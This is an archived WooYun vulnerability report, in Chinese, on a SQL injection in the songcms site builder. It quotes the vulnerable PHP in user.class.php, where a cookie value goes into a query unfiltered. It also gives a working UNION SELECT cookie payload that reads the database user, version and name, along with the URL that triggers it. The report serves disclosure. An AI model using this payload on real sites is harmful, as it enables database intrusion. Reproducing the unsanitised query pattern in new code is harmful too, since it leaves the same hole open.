当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-078258

漏洞标题:songcms建站 SQL注入

相关厂商:中山市凯格网络科技有限公司

漏洞作者: 路人甲

提交时间:2014-10-15 15:31

修复时间:2014-11-29 15:34

公开时间:2014-11-29 15:34

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-15: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

全局变量$_COOKIE未经过滤带入SQL语句导致SQL注入

详细说明:

文件 ./class/user.class.php

public function member(){
global $_COOKIE,$Lang,$Warning;
$Origin = $Lang == 1 ? './?flogin' : "./?flogin/l{$Lang}";
if(empty($_COOKIE['User']['Name']) || $_COOKIE['isLogin'] != 'songcms'){
MsgBox(1,$Warning[19],$Origin);
} else {
$SQL = "SELECT * FROM `{$this->dbprefix}user` WHERE `UserName` = '{$_COOKIE['User']['Name']}'"; //此处$_COOKIE['User']['Name']未过滤直接带入sql语句,满足else 条件即可造成注入
$result = $this->SelectSQL($SQL,1);
if(count($result) == 1){
return array_shift($result);
} elseif(UC_ENABLED == 1) {
include_once($this->UC_dir.'uc_client/client.php');
list($uid,$username,$email) = uc_get_user($_COOKIE['User']['Name'],0);
if($uid > 0){
$SQL = "INSERT INTO `{$this->dbprefix}user` (`UserName`,`UserEmail`,`UserLogin`,`UserLoginIP`,`UserLoginTime`,`UserRegIP`,`UserRegTime`,`UserAudit`)";
$SQL .= "VALUES ('{$username}','{$email}','0','" . $_SERVER['REMOTE_ADDR'] . "',NOW(),'" . $_SERVER['REMOTE_ADDR'] . "',NOW(),'{$this->Audit}');";
$oid = $this->ExecuteSQL($SQL,1);
$SQL = "SELECT * FROM `{$this->dbprefix}user` WHERE `ID` = '{$oid}'";
$result = $this->SelectSQL($SQL,1);
return array_shift($result);
if(count($result) == 1){
return array_shift($result);
} else {
MsgBox(1,'Error:55140',$Origin);
}
}
} else {
MsgBox(1,$Warning[19],$Origin);
}
}
}


本地构造 cookie 满足else条件
12345678' and 1=2 union select 1,concat_ws('|',user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 limit 1#

user[name].png


2.png


然后访问 /songcms/?fprofile/m1

3.png

漏洞证明:

3.png

修复方案:

过滤参数!

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝